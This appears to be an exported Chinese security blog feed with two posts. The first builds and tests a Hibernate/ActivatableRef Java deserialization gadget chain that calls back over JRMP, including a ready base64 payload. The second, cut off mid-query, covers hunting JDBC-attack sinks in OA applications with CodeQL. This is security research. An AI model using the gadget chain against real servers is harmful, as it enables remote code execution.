18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.LongConverter -     Converted to Long value '0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Converting 'Integer' value '0' to type 'Short'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter -     Converted to Short value '0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BigDecimalConverter - Setting default value: 0.0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BigDecimalConverter - Converting 'BigDecimal' value '0.0' to type 'BigDecimal'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BigDecimalConverter -     No conversion required, value is already a BigDecimal
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BigIntegerConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BigIntegerConverter - Converting 'BigInteger' value '0' to type 'BigInteger'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BigIntegerConverter -     No conversion required, value is already a BigInteger
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Setting default value: false
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Converting 'Boolean' value 'false' to type 'Boolean'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter -     No conversion required, value is already a Boolean
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Converting 'Integer' value '0' to type 'Byte'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter -     Converted to Byte value '0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Setting default value:  
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Converting 'Character' value ' ' to type 'Character'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter -     No conversion required, value is already a Character
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Converting 'Integer' value '0' to type 'Double'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter -     Converted to Double value '0.0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Converting 'Integer' value '0' to type 'Float'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter -     Converted to Float value '0.0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Converting 'Integer' value '0' to type 'Integer'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter -     No conversion required, value is already a Integer
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Converting 'Integer' value '0' to type 'Long'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.LongConverter -     Converted to Long value '0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Converting 'Integer' value '0' to type 'Short'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter -     Converted to Short value '0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.StringConverter - Setting default value: 
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.StringConverter - Converting 'String' value '' to type 'String'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Z@57a3af25
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'boolean[]' value '[Z@57a3af25' to type 'boolean[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a boolean[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [B@7f0eb4b4
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'byte[]' value '[B@7f0eb4b4' to type 'byte[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a byte[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [C@5c33f1a9
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'char[]' value '[C@5c33f1a9' to type 'char[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a char[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [D@1623b78d
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'double[]' value '[D@1623b78d' to type 'double[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a double[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [F@6adbc9d
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'float[]' value '[F@6adbc9d' to type 'float[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a float[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [I@4ec4f3a0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'int[]' value '[I@4ec4f3a0' to type 'int[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a int[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [J@223191a6
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'long[]' value '[J@223191a6' to type 'long[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a long[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [S@9597028
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'short[]' value '[S@9597028' to type 'short[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a short[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.math.BigDecimal;@4efbca5a
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'BigDecimal[]' value '[Ljava.math.BigDecimal;@4efbca5a' to type 'BigDecimal[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a BigDecimal[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.math.BigInteger;@59662a0b
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'BigInteger[]' value '[Ljava.math.BigInteger;@59662a0b' to type 'BigInteger[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a BigInteger[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Boolean;@67c27493
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Boolean[]' value '[Ljava.lang.Boolean;@67c27493' to type 'Boolean[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Boolean[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Byte;@72967906
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Byte[]' value '[Ljava.lang.Byte;@72967906' to type 'Byte[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Byte[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Character;@2f9f7dcf
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Character[]' value '[Ljava.lang.Character;@2f9f7dcf' to type 'Character[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Character[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Double;@35e2d654
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Double[]' value '[Ljava.lang.Double;@35e2d654' to type 'Double[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Double[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Float;@55183b20
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Float[]' value '[Ljava.lang.Float;@55183b20' to type 'Float[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Float[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Integer;@6cf0e0ba
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Integer[]' value '[Ljava.lang.Integer;@6cf0e0ba' to type 'Integer[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Integer[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Long;@130d63be
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Long[]' value '[Ljava.lang.Long;@130d63be' to type 'Long[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Long[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Short;@293a5bf6
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Short[]' value '[Ljava.lang.Short;@293a5bf6' to type 'Short[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Short[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.String;@1283bb96
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'String[]' value '[Ljava.lang.String;@1283bb96' to type 'String[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a String[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.lang.Class;@f6efaab
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Class[]' value '[Ljava.lang.Class;@f6efaab' to type 'Class[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Class[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.util.Date;@3c19aaa5
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Date[]' value '[Ljava.util.Date;@3c19aaa5' to type 'Date[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Date[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.util.Calendar;@409bf450
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'Calendar[]' value '[Ljava.util.Calendar;@409bf450' to type 'Calendar[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Calendar[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.io.File;@49e53c76
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'java.io.File[]' value '[Ljava.io.File;@49e53c76' to type 'java.io.File[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.io.File[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.sql.Date;@2a3b5b47
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'java.sql.Date[]' value '[Ljava.sql.Date;@2a3b5b47' to type 'java.sql.Date[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.sql.Date[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.sql.Time;@35d019a3
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'java.sql.Time[]' value '[Ljava.sql.Time;@35d019a3' to type 'java.sql.Time[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.sql.Time[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.sql.Timestamp;@18078bef
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'java.sql.Timestamp[]' value '[Ljava.sql.Timestamp;@18078bef' to type 'java.sql.Timestamp[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.sql.Timestamp[]
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting default value: [Ljava.net.URL;@4c371370
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting 'java.net.URL[]' value '[Ljava.net.URL;@4c371370' to type 'java.net.URL[]'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.net.URL[]
Exception in thread "main" 
Exception: java.lang.NullPointerException thrown from the UncaughtExceptionHandler in thread "main"

进程已结束，退出代码为 1

依赖文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>untitled</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <version>2.2.3.RELEASE</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.3</version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-core -->
        <dependency>
            <groupId>org.hibernate</groupId>
            <artifactId>hibernate-core</artifactId>
            <version>5.6.15.Final</version>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.66</version>
        </dependency>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
    </dependencies>
</project>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example;

import com.sun.syndication.feed.impl.EqualsBean;
import org.hibernate.engine.spi.TypedValue;
import sun.reflect.ReflectionFactory;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.*;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Random;

import static org.example.utils.setFieldValue;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static void main(String[] args) throws Exception {
        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
        String host = "127.0.0.1";
        int    port = 13999;
        ObjID id2  = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te  = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class, Activator.class}, handler);
        ActivationID activationID = new ActivationID((Activator) proxy);
        ActivatableRef activatableRef =(ActivatableRef) utils.createWithoutConstructor("sun.rmi.server.ActivatableRef");
        setFieldValue(activatableRef, "id", activationID);
        Method method = ActivatableRef.class.getDeclaredMethod("getRef");
        Object getter;
        try {
            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(activatableRef.getClass(), method, "ref");
        }
        Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);
        Object type = createWithoutConstructor(componentTypeClass);
        setFieldValue(type,"componentTuplizer",tuplizer);
        setFieldValue(type,"propertySpan",1);
        setFieldValue(type,"propertyTypes",new org.hibernate.type.Type[]{(org.hibernate.type.Type) type});
        TypedValue typedValue = new TypedValue((org.hibernate.type.Type) type, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "xxx");
        setFieldValue(typedValue,"value",activatableRef);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.io.*;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String base64Str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAXBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgA1W0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbDu/pSysWxHxpwIAAHhwAAAAAXNyAD1vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtrFu2VsndG1gCAARMAA5jb250YWluZXJDbGFzc3EAfgATTAAOZGVjbGFyaW5nQ2xhc3NxAH4AE0wACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AH3hwcHZyAB1zdW4ucm1pLnNlcnZlci5BY3RpdmF0YWJsZVJlZmkuOvZUvgduDAAAeHB0AAZnZXRSZWZwcHBwcHBwcHBwcHVyABpbTG9yZy5oaWJlcm5hdGUudHlwZS5UeXBlO36vq6HklWGaAgAAeHAAAAABcQB+ABFwc3EAfgAhc3IAIGphdmEucm1pLmFjdGl2YXRpb24uQWN0aXZhdGlvbklEwAq0Rj/brq0DAAB4cHNyABNqYXZhLnJtaS5zZXJ2ZXIuVUlEDxJwDb82TxICAANTAAVjb3VudEoABHRpbWVJAAZ1bmlxdWV4cIACAAABmtkHl3p6UFPSdzIAClVuaWNhc3RSZWYACTEyNy4wLjAuMQAANq//////gmmjDQAAAAAAAAAAAAAAAAAAAHh3AgAAeHQABHN1MTh4";
        byte[] decode = Base64.getDecoder().decode(base64Str);
        ByteArrayInputStream bin = new ByteArrayInputStream(decode);
        new ObjectInputStream(bin).readObject();
    }
}
]]> <h2 id="免责声明："><a href="#免责声明：" class="headerlink" title="免责声明："></a>免责声明：</h2><p>本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失 codeql审计一些项目的思路 https://www.n1ght.cn/2025/09/11/codeql%E5%AE%A1%E8%AE%A1%E4%B8%80%E4%BA%9B%E9%A1%B9%E7%9B%AE%E7%9A%84%E6%80%9D%E8%B7%AF/ 2025-09-11T12:10:42.000Z 2025-09-11T12:17:08.029Z 免责声明：

本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失，文章作者不承担责任。
文章作者博客地址为https://n1ght.cn/

正文

前言

现在有许多java的oa，他们的代码量非常大，正常我们拿到手里的只有jar包，这样我们审计起来非常麻烦。这边我分享一个思路。

codeql_n1ght可能在mac和linux有一些问题。

工具：

codeql_n1ght: https://github.com/yezere/codeql_n1ght

codeql: CodeQL command-line toolchain release 2.17.0

创建数据库

首先我们可以把许多jar包打成一下结构的zip

使用以下命令生成数据库，原理是通过ant进行编译，可能会出现一些问题，但是能生成就已经很好了，这边默认不在意这下问题。

1
codeql_n1ght.exe -database jar\lib.zip  -goroutine -max-goroutines 4

在下面选择对应的jar包

当然也可以进行跳过

1
2
3
# 使用 -deps 控制依赖选择（跳过 TUI）
./codeql_n1ght -database your-app.jar -deps none   # 空依赖（跳过依赖反编译）
./codeql_n1ght -database your-app.jar -deps all    # 全依赖（自动反编译所有依赖）

如果生成数据库时候报错了，也许是因为SEMMLE_JAVA_EXTRACTOR_JVM_ARGS的设置太小，导致java爆了

但是我这里工具是获取当前电脑内存，设置为没办法自己修改

可以看到生成的大小非常大，因为我这里跑的是一个oa的主代码

扫描

我带大家编写一个简单的查询语句，同时这段ql语句是找到过一个oa的一些漏洞的

我们从一些简单的开发经验可以得知，一般是mapper，service，serviceImpl，controller

然而controller一般是通过注解注入获得service去调用里面的方法，去使用serviceImpl的

所以我们的source的入口类需要对框架进行一些观察，为了方便追求不漏报，我们可以直接正则匹配后缀为Controller，Resource，Impl

为什么source包含Impl了，因为在这个项目有一个路由可以直接调用一些Impl的方法，所以我为了追求不漏报就写了上去，同时DaoImpl不会被调用，所以就进行了一些排除

这里的例子是我审计的时候写的，所以追求方便就直接用regexpMatch了，可以看情况自己修改一下

所以source就是：

这里的getDeclaringType.getName()是获取这个方法所在的类的名字

1
2
3
4
5
6
class RestApiCallable extends Callable {
    RestApiCallable(){
        (this.getDeclaringType().getName().regexpMatch(".+Controller")  or this.getDeclaringType().getName().regexpMatch(".+Resource") 
        or this.getDeclaringType().getName().regexpMatch(".+Impl")) and not this.getDeclaringType().getName().regexpMatch(".+DaoImpl")
    }
}

同时我们需要寻找sink，这个时候就比较吃师傅们的积累了，我这边演示一下jdbc攻击吧

所以sink的例子就是：

MethodCall是xxx.yyy()里的yyy

所以我们直接匹配getConnection

1
2
3
4
5
class DangerousMethod extends MethodCall{
    DangerousMethod(){
        this.getMethod().getName().regexpMatch("getConnection")
}
}

codeql查询语句：

这里查询的是Source调用了哪些Util工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java
class DangerousMethod extends MethodCall{
    DangerousMethod(){
